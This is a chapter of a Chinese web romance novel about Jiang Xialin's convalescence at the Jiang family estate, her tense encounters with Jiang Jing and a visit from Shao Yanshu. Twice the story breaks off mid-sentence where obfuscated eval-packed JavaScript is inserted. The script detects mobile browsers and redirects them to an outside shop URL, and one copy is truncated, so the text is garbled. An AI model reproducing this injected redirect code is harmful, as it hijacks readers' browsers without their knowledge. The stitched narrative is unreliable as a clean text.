“大小姐，”她微微躬身，声音放得轻缓，“有客人前来探望您了，江夫人请您到一楼的偏厅稍微坐一会儿。” 姜夏琳闻言，从手中一本打发时间的旧杂志上抬起头，眼底掠过一丝讶异。 她本以为这几日会是彻底与外界隔绝的静养，却没想到访客来得这样快。 更没想到的是，她换了身舒适的针织长裙，在钟管家的陪同下来到偏厅，第一时间见到的人居然是邵晏舒。 邵晏舒今日穿了一身鹅黄色的针织套装，长发柔顺地披在肩头，正坐在沙发里，手里捧着一杯花茶。 看见姜夏琳进来，她立刻放下茶杯，站起身，脸上挂起无可挑剔的、乖巧甜美的笑容。 只是那笑意在目光与姜夏琳略显苍白的脸相接时，几不可察地淡了淡。 显然，这场探望并非出于她本意。 “姜姐姐，”邵晏舒将果篮交给一旁的佣人，步履轻快地迎上前，语气里带着刻意拉近的亲昵，“听说你病了，我担心得不得了，得来看看才能安心。你好些了吗？” 她说着，目光迅速而细致地扫过姜夏琳全身，从缺乏血色的脸颊到掩在袖口下的手腕，最后定格在她沉静的眼睛上。 姜夏琳抬起眼，迎上对方的目光。 邵晏舒的瞳孔很亮，里面清晰地映着她的倒影，以及一丝不易察觉的、等待答案的探究。 “好多了，谢谢你来。”姜夏琳弯了弯唇角，声音还带着病后初愈的轻哑，语气是标准的社交式温和，“还要麻烦你特意跑一趟。” “不麻烦的。”邵晏舒随着姜夏琳一同在沙发坐下，脊背挺直，仪态优雅，“我爸妈今天正好来和江伯伯、文阿姨谈事情，我就跟着来了。文阿姨可真体贴，说偏厅安静敞亮，适合说话，也不怕打扰你休息。” 她略作停顿，目光状似无意地扫过姜夏琳略显苍白的脸色，话锋随即轻巧一转。 “不过那天晚上……真是吓坏大家了。生日宴正到高潮呢，突然就乱了起来。”她微微蹙眉，脸上流露出恰到好处的后怕与困扰，“好多人后来都跑来问我，钢琴房那边出什么事了……我作为主人，都不知该怎么解释才好。” 她的声音压低了些，往前倾了倾身，那股甜美的香气也随之靠近：“夏琳姐，你和江竞哥……之前就认识吗？我看他当时的样子，紧张得不得了，抱着你就往外冲，谁拦都没用。” 最后几个字，她说得又轻又缓，像羽毛搔刮耳廓，却带着明确的重音。 姜夏琳捧着温热的玻璃杯，指尖感受着杯壁上传来的恒定暖意。 她沉默了两秒，才抬起眼帘，目光平静地看向邵晏舒，声音清晰，没有任何波澜： “不认识。那天只是个意外，有些误会，在场已经说清楚了。” 话音落下的瞬间，偏厅里的空气似乎凝滞了一拍。 邵晏舒脸上那精心维持的甜美笑容，以肉眼可见的速度淡了下去，嘴角的弧度变得有些僵硬。 她眨了眨眼，长长的睫毛掩去了眸中一闪而过的恼意和……更多的不相信。 “这样啊……”她拖长了语调，身体缓缓靠回沙发背，手指无意识地捻着裙摆上并不存在的皱褶，“那可能是我多想了吧。也是，江竞哥那个人，对谁都挺……有距离感的。” 她似乎还想说些什么，嘴唇动了动，目光却瞥见姜夏琳垂下眼帘，端起水杯安静喝水的侧影，那副分明不想再多谈的姿态，将她后续所有试探的问话都堵了回去。 得不到期待中更富戏剧性的答案，邵晏舒显然对这场被迫进行的姐妹谈心失去了绝大部分兴趣。 接下来的几分钟，对话变得干巴巴且充斥着尴尬的间隙。 邵晏舒心不在焉地说了几句“好好休息”、“祝你早日康复”之类的套话，目光频频飘向窗外花园的方向。 终于，在又一次短暂的冷场后，她像是再也坐不住，倏地站起身来。 “夏琳姐，我看你也需要静养，我就不多打扰了。”她重新挂起笑容，这次却显得匆忙而敷衍，“我去花园找文阿姨她们，听说江伯伯新培育的兰花开得正好。” 说完，她几乎不等姜夏琳回应，便转身走向门口，鹅黄色的裙摆划出一道轻快的弧线，很快消失在门廊外。 偏厅里骤然安静下来，只剩下阳光透过纱帘，在地板上移动的静谧光斑，以及空气中若有似无残留的、来自邵晏舒身上的甜美香气。 姜夏琳独自坐在沙发里，安静地发了会儿呆，指尖无意识地在温热的杯壁上轻轻划动。 直到一阵轻微的摩擦声从偏厅另一侧的入口传来。 她回过头，看到了一个并不愿在此刻见到的身影。 江竞似乎也是刚被唤来，穿着深灰色休闲裤和黑色毛衣，头发微湿，几缕碎发贴在额角，带着沐浴后未完全散去的水汽。 他侧脸的线条在偏厅明亮的阳光下显得格外清晰，脸颊的伤痕上贴着崭新的医用胶布，边缘整齐得刺眼。 意识到自己停留在对方身上的视线有些长了，姜夏琳僵硬地回过头，指尖无意识地蜷紧。 他在长桌离姜夏琳最远的那张单人椅坐下，中间隔了足够四五个人就座的距离。 客厅里过于安静，佣人放轻脚步上前为他斟茶时，瓷器碰撞的细微声响都清晰可闻。 他微微颔首，连一句客套的“谢谢”都没有。 随后便是漫长的、几乎令人窒息的沉默。 姜夏琳低下头，双手捧起自己面前那杯已经半温的花茶，小口啜饮。 温热的液体滑过喉咙，却丝毫化不开胸口的滞闷。她甚至能听见自己吞咽时，喉咙发出的轻微响动。 一片寂静中，她余光能看见江竞的侧影。 他背脊挺得笔直，手肘支在扶手上，指尖无意识地反复摩挲着白瓷杯壁。 那双手骨节分明，手背上还留着几道浅淡的、未完全褪去的红痕——是那天在琴房留下的印记。 他面前的茶点一口未动。 司康饼保持着完美的裂口，蔓越莓酥饼上的糖霜闪闪发亮，可他的视线始终落在窗外，或者更远的地方。 时间仿佛被拉成了粘稠的糖丝，缓慢地、折磨人地流动。 空气里只剩下瓷器偶尔轻碰的脆响，落地钟指针规律的滴答，以及她自己胸腔里，那过于清晰、几乎震耳欲聋的心跳声。 二十分钟，或许更久。 姜夏琳杯中的花茶已经彻底凉透，她正犹豫着是否该寻个由头起身告辞，江竞却先她一步，毫无预兆地站了起来。 动作很轻，但高级木质椅腿擦过厚实的地毯，仍发出了一声短促的闷响。他依旧没看她，也没说任何话，只是径直朝偏厅的门口走去。 深灰色的休闲裤和黑色的毛衣，在光线下泛着一种柔软的哑质，微湿的发尾随着动作扫过后颈，留下一点潮湿痕迹。 就在他颀长的身影即将踏出偏厅门槛的瞬间，主厅方向传来由远及近的脚步声，夹杂着邵晏舒清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087485|193807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脆的笑语和江锋、文清仪温和的应和——他们看完了兰花，一起回来了。 “江竞哥！”邵晏舒眼尖，一眼就看到了他，眼睛顿时一亮，像发现了什么意外之喜，脚步轻快地迎上来，“你什么时候来的呀？怎么也不过来跟我们打个招呼？” 她说着，目光很自然地往他身后探去，当看到安静站在原地的姜夏琳时，那双笑盈盈的眼睛里飞快地掠过一丝难以分辨的情绪—— 惊讶，探究，还有一点点被截胡般的不悦。 江竞脚步顿住，半侧过身，对她几不可察地点了点头，算是打过招呼，薄唇依旧抿着，没有要交谈的意思。 文清仪适时笑着打圆场，语气温柔：“小竞刚刚有事，现在也是刚下来不久。晏舒今天特意过来看望，还陪我们看了半天花，真是有心了。” 邵晏舒摆摆手，注意力显然又飘回了江竞身上。 她向前凑近半步，仰起脸，语气里带着一种熟稔又试探的撒娇意味：“对了江竞哥，你大哥季医生什么时候回国呀？我上次听我爸提起，说他在德国那台联合手术做得特别成功，业内都传开了。我好想听他亲口讲讲那些惊心动魄的医院故事哦。” 姜夏琳静静站在稍远一些的位置，像一个被迫留在舞台边缘的观众，清晰地看着邵晏舒眼中那毫不掩饰的、流转的盎然兴趣。 这个女孩似乎对季时安保持着热络，也对江竞那位身为杰出医生的长兄充满好奇。 仿佛，她对一切笼罩着光环的、位于社交圈中心的人和事，都抱有同样一种近乎天真的、精力充沛的热衷——像一只在花园里，见到任何翩跹蝴蝶都会欢快摇尾扑腾的小狗。 江竞的回应简短得近乎冷漠，声音里听不出任何情绪起伏：“下个月。” 邵晏舒似乎还想说些什么，试图让对话继续，但江锋已经上前一步。 他目光先是扫过姜夏琳依旧没什么血色的脸颊，随即落在江竞没什么表情的侧脸上，眉头几不可察地蹙了一下，语气是不容置喙的命令式：“小竞，姜小姐站了有一会儿了，你送她回房间休息。她身体还没恢复，不宜久站。” 话音落下的瞬间，姜夏琳几乎能看见江竞下颚线猛地收紧，那双一直垂着、仿佛对一切都不感兴趣的眼睛倏然抬起，极快地、犹如冷箭般扫过她，眼底翻涌着某种晦暗难明的复杂涡流。 “不用了，江叔叔。” 在他开口说出任何可能更伤人的话之前，姜夏琳抢先用平静的声音，径直截断了这个提议，“我自己可以回去。房间就在二楼，我已经认得路了，不麻烦你们了。” 她甚至越过了对江竞的称呼，只是说你们。 闻言，文清仪目光在两人之间流转了一会儿，然后从善如流地接过话，语气依旧温和，就像什么都没察觉到一般：“也好，让钟姨陪你上去吧，她熟悉。小竞，那……你送送晏舒？她家的车应该已经在前院等着了。” 局势被长辈三言两语轻巧地拨转。 江竞没再看她，也没对母亲的安排提出任何异议，只是略微侧身，对邵晏舒做了一个极其简单、近乎敷衍的“请”的手势。 邵晏舒脸上立刻重新扬起明媚的笑容，像丝毫没察觉到方才那几秒钟里涌动的暗流，脚步轻快地跟上他，朝通往主厅和外院的走廊走去。 鹅黄色的裙摆擦过深色木质的门槛时，她还不忘回过头，对姜夏琳幅度很小地挥了挥手。 姜夏琳站在原地，目送着一黑一黄两道身影前一后消失在走廊转角的光影里，直到连轻微的脚步声都听不见了，才几不可闻地吐出一口气，任由一直候在一旁的钟管家上前来，稳妥地将她送回了二楼那个安静得过分的房间。 第三天，情况依旧如此。 午后的阳光透过纱帘，在房间地毯上投下模糊的光斑。 这次，文清仪亲自来了房间，脸上挂着无可挑剔的亲切笑意，坐在她床边的扶手椅里。 “姜小姐，”她声音柔和，带着关切，“总闷在房间里对着四面墙，空气不流通，对恢复反而不好。今天天气不错，不如我带着你出去转转吧？” 姜夏琳矢口就要拒绝，可看着对方温柔地眯成月牙形的脸，反应鬼使神差地慢了半拍，再反应过来时，对方已经伸出了手，半推半就地把她从床上拉了起来。 29. 相簿 不得不说，文清仪的容貌与谈吐，都比她的实际年龄要显得年轻许多。 她将姜夏琳从床上扶起，又为她披上一件质地柔软的羊绒开衫，随后便如同一位熟稔的闺中密友，自然地挽起她的手臂，引着她步下了别院小楼。 时值午后，秋日阳光已褪去正午的锐利，变得温吞而醇厚，像融化的蜜糖，缓缓流淌在精心打理过的花园小径上。 文清仪带着她，不疾不徐地走过这几日她凭栏远眺时早已熟悉的景致。 鹅卵石铺就的小路蜿蜒在依旧苍翠的草坪间，路旁是修剪得极有章法的低矮黄杨，点缀着几丛晚开的欧月，花瓣边缘已有些许卷曲，在微凉的空气里散着最后一丝甜淡的幽香。 阳光穿过高大的乔木枝叶，在脚下投下明明灭灭的光斑，随着她们的脚步轻轻晃动。 “既然出来了，只在这里逛逛，也有些单调。”文清仪走在她身侧半步之前，声音柔和，“正好今日得空，我带你去主宅里稍微走走吧。姜家和我们江家是老交情了，你小时候也常来玩，只是后来……隔得久了，怕是都生疏了。就当认认路，以后也方便些。” 话说得滴水不漏，既周全了待客的礼数，言语间又隐约透着一股将她视作自己人的亲近与呵护。 姜夏琳无法推拒，只能低声道了句“麻烦阿姨了”，便跟随着那道温婉却不容置疑的身影，踏入了那栋在暮色中看来沉稳恢宏、此刻近观更觉气势压人的主宅。 宅内的装潢与别院的精致温馨不同，更显庄重冷肃。 室内光线透过高大的落地窗，将宽敞的厅堂照得通明。空气中漂浮着极淡的檀木香，混合着每日更换的鲜切白菊的清新气味。 光洁如镜的深色大理石地面映出天花板上繁复的水晶灯影，墙上悬挂着价值不菲却风格冷峻的抽象画。 文清仪一面走，一面轻声介绍着各处——这里是茶室，那里是小会客厅，二楼是客房和图书室…… 好在，她并没有带着姜夏琳登上卧室所在的三层，而只是在一、二楼流连。 参观的过程称得上体贴周全，文清仪并未过多停留，只是让她对宅邸的格局有了大致印象。 约莫半小时后，她在一个连接着阳光走廊的厅堂停下，微笑道：“大致便是这些了。姜小姐若是还有精神，可以自己随意逛逛，只要别去三楼打扰小竞就好。他今天一整天都闷在那里，脾气怕是不太好。” 她顿了顿，目光温和地落在姜夏琳脸上：“就当在自己家一样，随意些。累了就让钟姨陪你回房，或者去花房坐坐。” 说完，她便带着方才陪同的佣人转身离开，似乎真的只是来完成一场礼节性的陪同。 阳光透过走廊的玻璃顶棚洒下，在地面投下明亮的光斑。姜夏琳独自站在原地，空气里漂浮着尘埃，寂静无声。 她抬眸，目光掠过那盘旋而上的深色楼梯，通往文清仪明确提及的三楼。江竞在那里。 她简直识别不出这位女主人这样说是有意还是无意了。 几乎没有犹豫，她转身，朝着与楼梯相反的方向走去。 方才温情一带着她参观时，便经过了一间她很感兴趣的房间。 她折返回去，那是一扇门扉上没有任何装饰的厚重木门，她轻轻推开。 房间里非常宽敞，四壁是顶天立地的深色实木书架，但书并不多，大部分空间被一种博物馆般的陈列柜占据。柔和的射灯从天花板落下，精准地照亮每一件展品。 这里不像书房，更像一个私人纪念馆。 姜夏琳缓缓走进去，脚步声被厚地毯吸收。 她首先看到的是靠墙的一排玻璃立柜，里面整齐陈列着各种奖杯、奖牌和证书。金色的、银色的、水晶的，在灯光下默默闪烁着经年累月的光泽。 每一座上面，都写着江竞的名字。 她的目光一一掠过那些镌刻的文字。 全国青少年钢琴大赛金奖、国际数学奥林匹克竞赛金牌、马术青少年组冠军、甚至还有极专业的帆船比赛证书……时间跨度从他很小的时候，一直持续到十七岁之前。 奖项涉及领域之广、等级之高，令人咋舌。 她停在钢琴比赛的陈列柜前，里面有一张放大的照片。 照片上的少年约莫十四五岁，穿着剪裁合体的黑色礼服，坐在三角钢琴前，侧脸线条清晰，眼神专注地落在琴键上，指尖悬停，仿佛下一刻流淌出的就是肖邦或李斯特的精彩乐章。 姜夏琳凝视着照片，心底某个角落轻轻动了一下。 她一直知道江竞优秀，从旁人的只言片语和论坛的零碎信息里拼凑出模糊的印象。 但直到此刻，这些冰冷而具象的实物证据排列在眼前，她才意识到他究竟是怎样一个人—— 在家庭发生巨变之前，他是真正意义上的天之骄子，是汇聚了所有光芒与期待的存在。 她移步到房间中央的一张宽大实木长桌前。桌上没有太多杂物，只放着一本厚重的皮质相册，边缘磨损得光滑，显是时常被翻阅。 鬼使神差地，她伸出手，轻轻打开了它。 相册的第一页是婴儿照，裹在柔软襁褓里的孩子瞪着乌溜溜的眼睛。 接着是摇摇晃晃学步的幼童，被一对年轻夫妇笑着围在中间——那是江锋和文清仪，比现在年轻许多，眼角眉梢都是未曾被风雨侵蚀的从容与幸福。 她一页页翻过去。 童年，少年，照片里的江竞逐渐抽高，面容也褪去稚气。 他穿着未来高中的白色短袖校服，站在校门口，背景是葱郁的树木，脸颊还带着些许未褪的婴儿肥，肤色是一种不常晒太阳的、釉质的冷白，眼神清亮，却已有了几分习惯性抿唇的倔强。 ——和她在那个混乱花园的“梦”里看到的少年，一模一样。 姜夏琳的指尖在那张照片上停留了片刻，感受着皮质相册页面微凉的触感。 再往后翻，照片的氛围陡然一变。 背景换成了异国的街道、陌生的房间，照片数量明显减少，间隔时间也拉长了。 照片里的江竞迅速消瘦下去，婴儿肥彻底消失，下颌线条变得锋利。 他穿着不合时宜的厚外套站在飘雪的街头，或是独自坐在空旷房间的窗边，侧脸对着镜头，眼神空茫地望向窗外，周身笼罩着一层挥之不去的阴郁与隔离感。 然而，在这些明显记录着困顿与沉默的照片里，但凡有父母入镜的合影，江峰和文清仪总是尽力挺直脊背，对着镜头露出笑容。 那笑容或许有些勉强，眼底带着疲惫，但他们总是紧紧挨着儿子，或揽着他的肩，或握住他的手。 有一张照片，是在一个简陋的公寓阳台上，三人并肩站着，背后是灰蒙蒙的天空，文清仪笑着将一块小蛋糕递到江竞嘴边，江竞却略微偏头躲闪，眉头蹙着，一副全然不肯配合的模样。 姜夏琳静静地看着，复杂的感觉在心口淤积。 这个房间像一把钥匙，粗暴地撬开了她之前仅凭只言片语和梦境感知到的、关于江竞的另一个维度。 他不仅仅是那个阴鸷难测、对她充满敌意的高大男生，也曾是一个会弹钢琴、会拿金牌、会在父母镜头下露出别扭神情的少年。 而他的父母，即便在最狼狈的迁徙岁月里，也未曾停止用这种方式，笨拙而顽强地试图为他保留一点家的痕迹和温度。 这认知让她感到一丝莫名的恍然。 只是在这恍惚的片刻，一只骨节分明的手突然从她身侧伸过来，带着强硬的力道，“啪”地一声按在了翻开的相册页面上，随即猛地将整本相册抽走。 姜夏琳猝不及防，被这突如其来的动静吓得浑身一颤，低低惊呼一声，几乎是本能地朝着那只夺走相册的手的方向挥臂格挡。 “嘶——” 一声压抑的抽气声在她耳边响起。 姜夏琳猛地回过神，定睛看去，只见江竞不知何时已站在她身侧，距离近得她能闻到他身上淡淡的、清冽的沐浴露气息混合着一点药味。 他穿着简单的黑色长袖T恤和灰色运动裤，几缕碎发垂在额前。 而她刚才慌乱中挥出的手臂，好巧不巧，正打在他左手手背上—— 那里，原本结痂的伤痕因为之前的裂开和这几日的反复，覆盖着一块新的、边缘整齐得刺眼的医用敷料。 此刻，敷料的边缘微微翘起，底下隐隐透出一点新鲜的红色。 江竞飞快地缩回手，将拿着相册的手背到身后，另一只手则下意识地攥住了受伤的手腕。 他眉头紧锁，下颌线绷得死紧，盯着她的眼神里瞬间卷起熟悉的阴鸷风暴，却又被某种更复杂的东西所覆盖。 “谁让你乱动我东西的？”他开口，声音压得很低，带着冰冷的怒意和一种被侵犯了私人领域的尖锐。 姜夏琳心脏还在狂跳，手臂因方才过激的反应而微微发麻。她退后半步，拉开一点距离，气息有些不稳：“……你怎么在这里？” 江竞的视线在她略显苍白的脸上停留一瞬，又飞快移开，落向房间门口的方向，嘴角扯出一个没什么温度的弧度，语气硬邦邦的： “母亲让我来的。” ……骗人。 文清仪分明跟她说了不要去打扰他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她知道此刻任何回应都可能触雷，但看着那些蒙尘的奖杯，和相册里被时间定格的、截然不同的两个少年，有些话还是顺着思绪滑了出来。 “我只是……”她斟酌着用词，尽量让声音听起来平稳，不带评判，“看到了一些……意料之外的东西。” “意料之外？”江竞倏地转回脸，嘴角那抹没什么温度的弧度加深了，“比如什么？发现我以前不是现在这副鬼样子？还是惊讶，我这种人居然也配拿那么多奖杯，占那么多版面？” 他的自嘲带着尖锐的刺，每一下都精准地扎向自己，同时也不可避免地擦伤聆听的人。 姜夏琳抿了抿唇。 她想起相册里那个站在未来高中校门前，眼神清亮、意气风发的少年，也想起异国雪夜背景里，那个消瘦、阴郁的侧影。 时间的断层如此鲜明，粗暴得像被一场突如其来的海啸从中劈开，只剩下狼藉的滩涂。 “那些……都是真的吗？”她问，话一出口便觉出几分不妥。 奖杯证书冰冷而具体，照片更是一帧帧记录了流淌的时光，有什么必要去怀疑其真实性。 果然，江竞从鼻间溢出一声短促的嗤笑：“不然呢？伪造这么多东西，铺满整整两面墙，就为了今天给你看？姜夏琳，你是不是太把自己当回事了。” 姜夏琳没有接这个明显带着火药味的话茬，视线再次飘向那些熠熠生辉的奖杯。 “你以前……”她顿了顿，声音放得轻了些，像是在试探一片薄冰，“很喜欢弹钢琴吗？” 问题问得有些突兀，甚至有些冒险。 空气似乎随之凝滞了一瞬，连檀木与旧纸页的气味都仿佛停止了流动。 江竞的喉结很轻微地滑动了一下。 他没有立刻看她，目光落在钢琴金奖那座剔透的水晶奖杯上，透明的晶体折射着壁灯暖黄的光，像一颗被永久封冻的泪，或是阳光下未曾融化的冰。 “……很久不弹了。” 最终，他只给出了这几个字，语气平淡得近乎漠然，仿佛在谈论一件与自己毫不相干的旧物。 沉默在两人之间弥漫开来，混杂着旧时光的尘埃气味。 楼下的确隐约传来了瓷器轻碰的叮咚脆响，文清仪大概真的在准备茶点，那细微的声响反而衬得书房内的寂静更加厚重。 “你手上的伤，”姜夏琳的视线落回他的手背，敷料边缘那点暗红似乎比刚才洇开的范围大了一圈，“……又裂开了？” 江竞像是才意识到自己无意识的用力，猛地松开了刚才一直微微攥拳的手，将它垂到身侧，又用另一只手宽大的黑色T恤袖口，随意地向下扯了扯，试图盖住那点刺目的痕迹。 “不关你的事。”他硬邦邦地甩出这句话，下颌线绷紧。 停顿了片刻，或许是觉得语气太冲，又或许是被她目光里的某种平静所影响，他生硬地补充了一句，声音低了下去，“……你先管好你自己吧，脸白得跟鬼一样。”